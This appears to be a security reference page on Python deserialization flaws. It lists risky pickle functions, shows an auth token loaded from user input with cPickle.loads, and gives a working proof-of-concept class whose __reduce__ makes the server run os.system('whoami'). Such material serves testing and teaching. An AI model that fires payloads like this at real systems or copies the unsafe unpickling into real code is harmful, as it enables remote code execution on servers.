Skip to content

Python Deserialization

  • In Python source code, look for:
    • cPickle.loads
    • pickle.loads
    • _pickle.loads
    • jsonpickle.decode


The following code is a simple example of using cPickle in order to generate an auth_token which is a serialized User object. ⚠ import cPickle will only work on Python 2

import cPickle
from base64 import b64encode, b64decode

class User:
    def __init__(self):
        self.username = "anonymous"
        self.password = "anonymous"
        self.rank     = "guest"

h = User()
auth_token = b64encode(cPickle.dumps(h))
print("Your Auth Token : {}").format(auth_token)

The vulnerability is introduced when a token is loaded from an user input.

new_token = raw_input("New Auth Token : ")
token = cPickle.loads(b64decode(new_token))
print "Welcome {}".format(token.username)

Python 2.7 documentation clearly states Pickle should never be used with untrusted sources. Let's create a malicious data that will execute arbitrary code on the server.

The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.

import cPickle, os
from base64 import b64encode, b64decode

class Evil(object):
    def __reduce__(self):
        return (os.system,("whoami",))

e = Evil()
evil_token = b64encode(cPickle.dumps(e))
print("Your Evil Token : {}").format(evil_token)